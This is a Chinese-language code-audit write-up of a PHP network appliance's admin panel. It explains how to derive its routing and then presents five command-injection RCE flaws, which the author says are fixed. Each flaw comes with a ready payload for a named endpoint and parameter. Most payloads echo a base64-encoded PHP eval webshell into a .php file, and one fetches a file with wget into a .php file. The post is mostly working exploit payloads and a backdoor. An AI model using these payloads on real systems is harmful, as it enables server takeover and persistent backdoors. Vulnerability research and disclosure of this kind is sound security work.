前言:漏洞均已提交且均已修复
这里文章只做技术交流
关于这个系统
算是自己反反复复审了2-3次的系统 审了大概 7-8个后台的rce吧 还有一些其他思路getshell的洞 以及一些单独的洞 如任意文件读取 和前台的文件包含的洞
这里只放出RCE的洞了 先放出5个吧 还有3个没修完
审计过程:
①分析对应路由关系
分析路由过程其实蛮简单的 这里就浅显的提供下思路 不喜欢把简单的东西复杂化 写一篇看似很酷的技术文
一般情况两种思路
思路1
纯白盒去构造
如该系统的
即分析到该系统文件的路由构造php文件
一般来说是index.php里面去找看他加载了什么文件然后再去该文件里寻找路由关系
这个的放在init.php里面的
即看源码可知 a控制的action c控制的是controller
先判断是否存在这个php文件
然后action即这个php文件中是否存在对应的函数方法
因此完整的就可以调用分析了 即如index.php?a=方法名即可
思路2
白盒加黑盒去构造路由分析(个人比较喜欢这种,主要是更快)
黑盒登录一个系统 看看其源码构造是什么样子的 跟着构造一个即可
如打开网页后登录后如果是这种
login.php?a=serial
即去看看login.php里面是否存在这个serial方法即可
存在即说明直接就是php文件后跟a控制方法
同理哪怕是mvc框架的也是一样的思路
②漏洞点分析
RCE漏洞1
漏洞原理:
输入的port参数即赋值给name的参数直接进行赋值拼接到command中后直接进行exec执行
导致rce
因此可以构造执行生成马
典型的两类思路
①直接利用echo写马生成
②利用wget命令进行写马 (当然啦直接反弹shell也行 不过个人不是很喜欢用这种)
自己习惯的话 就是能写echo直接写马的就不用wget命令思路
| wget http://127.0.0.1/cs.txt -O a1.php
参数拼接上面的就可以了
port=80|echo “PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==”|base64 -d >test1.php
即利用echo命令直接写一个马到test1.php中
即直接生成了一个test1.php
进行连接即可上线
RCE漏洞2
原理:和上面的一个漏洞的差不多 不过这个做了一个限制 就是mac必须匹配6个以上
因此可以利用的payload
post包如下
guest_auth/cfg/dbopr.php?a=index
type=deleteGuest&mac=fe1::3831:79114:c31c9:6319e%21&ip=127.0.0.1| echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=="|base64 -d > test1.php;
同理直接可生成一个test1.php的木马
RCE漏洞3
原理也是一样的 这里的evpnshell就是一个exec执行的命令 只是单独写到了一个函数里面了
payload
itbox_pi/branch_passw.php?a=set
pass=127.0.0.1| echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=="|base64 -d > test1.php;
RCE漏洞4
漏洞原理:和上面的一样
这里获取bandwidth然后直接进行拼接执行
因此这里可以利用该payload直接执行
itbox_pi/networksafe.php?a=set
bandwidth=127.0.0.1| echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=="|base64 -d > test2.php;
RCE漏洞5
原理:
和上面的差不多command是直接拼接的
然后后面直接进行执行的
因此这里可以利用该payload直接执行
/itbox_pi/vpn_quickset_service.php?a=set_vpn
ip=127.0.0.1|ls > test11.txt;